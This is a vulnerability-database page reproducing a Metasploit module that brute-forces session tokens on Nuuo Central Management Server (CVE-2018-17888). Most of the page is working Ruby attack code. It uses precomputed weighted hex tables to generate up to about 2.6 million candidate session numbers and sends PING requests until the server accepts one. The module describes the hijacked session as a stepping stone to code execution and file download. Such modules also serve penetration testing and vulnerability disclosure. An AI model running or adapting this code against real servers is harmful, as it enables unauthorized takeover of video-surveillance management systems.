Lucene search
K

Nuuo Central Management Server User Session Token Bruteforce

🗓️ 31 Aug 2024 00:00:00Reported by Pedro Ribeiro, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 208 Views

Nuuo Central Management Server below version 2.4 sends user object heap address as a session number, reducing key space to 1.2M, guessable in < 500k tries

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
Nuuo Central Management Server Session Bruteforce
12 Oct 201800:00
attackerkb
Circl
CVE-2018-17888
20 Feb 201915:25
circl
CNVD
NUUO CMS Remote Code Execution Vulnerability
16 Oct 201800:00
cnvd
CVE
CVE-2018-17888
12 Oct 201814:00
cve
Cvelist
CVE-2018-17888
12 Oct 201814:00
cvelist
ICS
NUUO CMS (Update A)
11 Oct 201800:00
ics
ICS
NUUO CMS
11 Oct 201800:00
ics
Metasploit
Nuuo Central Management Server User Session Token Bruteforce
21 Jan 201910:11
metasploit
NVD
CVE-2018-17888
12 Oct 201814:29
nvd
Prion
Remote code execution
12 Oct 201814:29
prion
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'benchmark'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::Nuuo  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Nuuo Central Management Server User Session Token Bruteforce',  
'Description' => %q{  
Nuuo Central Management Server below version 2.4 has a flaw where it sends the  
heap address of the user object instead of a real session number when a user logs  
in. This can be used to reduce the keyspace for the session number from 10 million  
to 1.2 million, and with a bit of analysis it can be guessed in less than 500k tries.  
This module does exactly that - it uses a computed occurrence table to try the most common  
combinations up to 1.2 million to try to guess a valid user session.  
This session number can then be used to achieve code execution or download files - see  
the other Nuuo CMS auxiliary and exploit modules.  
Note that for this to work a user has to be logged into the system.  
},  
'Author' =>  
[  
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2018-17888' ],  
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-18-284-02' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],  
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]  
  
],  
'Platform' => ['win'],  
'DisclosureDate' => '2018-10-11'))  
deregister_options('SESSION', 'USERNAME', 'PASSWORD')  
end  
  
# These tables were generated by doing thousands of requests to a NUUO CMS Server and collecting the responses.  
# Table id: hex-nu-mod  
  
# 2621440 total combinations for both 1.X and 2.X versions  
# 2.X versions only have 1048576 combinations, and this table will run through them first  
WEIGHTED_ARRAY_7 =  
['2', '1'],  
['4', '6', '5', '7', '8', '2', '0', '1', 'f', 'e'],  
['1', '6', '0', '8', 'd', '7', 'c', 'e', '2', 'b', 'f', '3', '5', '4', 'a', '9'],  
['d', '6', '4', '5', 'f', '0', '8', '7', 'a', '3', '1', 'b', 'c', 'e', '9', '2'],  
['3', 'e', 'f', '1', 'c', '5', '9', 'd', '8', '6', '0', '4', 'a', '2', 'b', '7'],  
['d', '4', '2', 'b', '3', '6', '8', '1', 'a', '7', 'f', 'e', '0', '9', '5', 'c'],  
['8', '0']  
  
# 189000 total combinations  
# Only tested (only applies?) to 2.X versions  
# These are only tried if WEIGHTED_ARRAY_7 fails  
WEIGHTED_ARRAY_6 =  
['9', 'a'],  
['7', 'c', '6', 'f', 'e', 'a', 'd', '9', '4', '5', '3', '2', 'b', '0', '8'],  
['7', 'b', '6', 'd', 'a', '3', '4', 'f', '5', '1', '8', 'e', 'c', '2'],  
['3', '1', 'c', 'f', 'd', '4', 'b', 'a', '6', '2', '5', 'e', '8', '9', '0'],  
['3', '6', '7', 'b', 'e', '9', '2', 'f', '4', '1', 'c', 'a', '0', 'd', '8'],  
['0', '8']  
  
  
def session_number_list(weighted_array)  
# Let's calculate all the possible combinations  
length = Array.new(weighted_array.length)  
for i in (0..weighted_array.length-1)  
length[i] = weighted_array[i].length  
end  
counter = Array.new(weighted_array.length)  
for i in (0..weighted_array.length-1)  
counter[i] = 0  
end  
total = 1  
for len in length  
total *= len.to_i  
end  
  
print_status("Generating #{total} session tokens")  
final_list = Array.new  
  
# code below taken from https://gist.github.com/Yengas/9010715  
(total).times {  
if weighted_array.length == 6  
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]]  
elsif weighted_array.length == 7  
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]]  
else  
# assume size == 8  
final_list << weighted_array[0][counter[0]] + weighted_array[1][counter[1]] + weighted_array[2][counter[2]] + weighted_array[3][counter[3]] + weighted_array[4][counter[4]] + weighted_array[5][counter[5]] + weighted_array[6][counter[6]] + weighted_array[7][counter[7]]  
end  
  
# Find value of current combination by concatenating corresponding values of counters in the inner-arrays  
# Then we increment the value of the counter so we go on to the next combination.  
for index in (counter.length - 1).downto(0) # From (counter array's length - 1) to 0  
if counter[index] + 1 < length[index] then # If counter index can be incremented  
counter[index] += 1; # Increment the counter index  
break; # Stop the incrementation/go to the next combination printing/incrementing.  
end  
counter[index] = 0; # Assign current counter index to zero and try incrementing the next counter index.  
end  
}  
  
full_list = Array.new  
final_list.each { |x|  
full_list << x.to_i(16)  
}  
  
return full_list  
end  
  
def session_bruteforce_list(weighted_array)  
list = session_number_list(weighted_array)  
for session in list  
req = client.request_ping({  
'method' => 'PING',  
'user_session' => session  
})  
# module fails when shutdown/close lots of connections  
# create own connection and dont call close  
conn = client.connect(temp: true)  
res = client.send_recv(req, conn)  
  
@counter += 1  
if res && res.status_code == 200  
return session  
end  
end  
return nil  
end  
  
def run  
connect  
@counter = 0  
print_status('Bruteforcing session - this might take a while, go get some coffee!')  
session = nil  
time = Benchmark.realtime {  
session = session_bruteforce_list(WEIGHTED_ARRAY_7)  
unless session  
print_error('Failed to bruteforce, trying with the less likely numbers as a last resort...')  
session = session_bruteforce_list(WEIGHTED_ARRAY_6)  
end  
}  
unless session  
fail_with(Failure::Unknown, 'Failed to bruteforce user session.')  
else  
print_good("Found valid user session: #{session}")  
print_status("Time taken: #{time} seconds; total tries #{@counter}")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation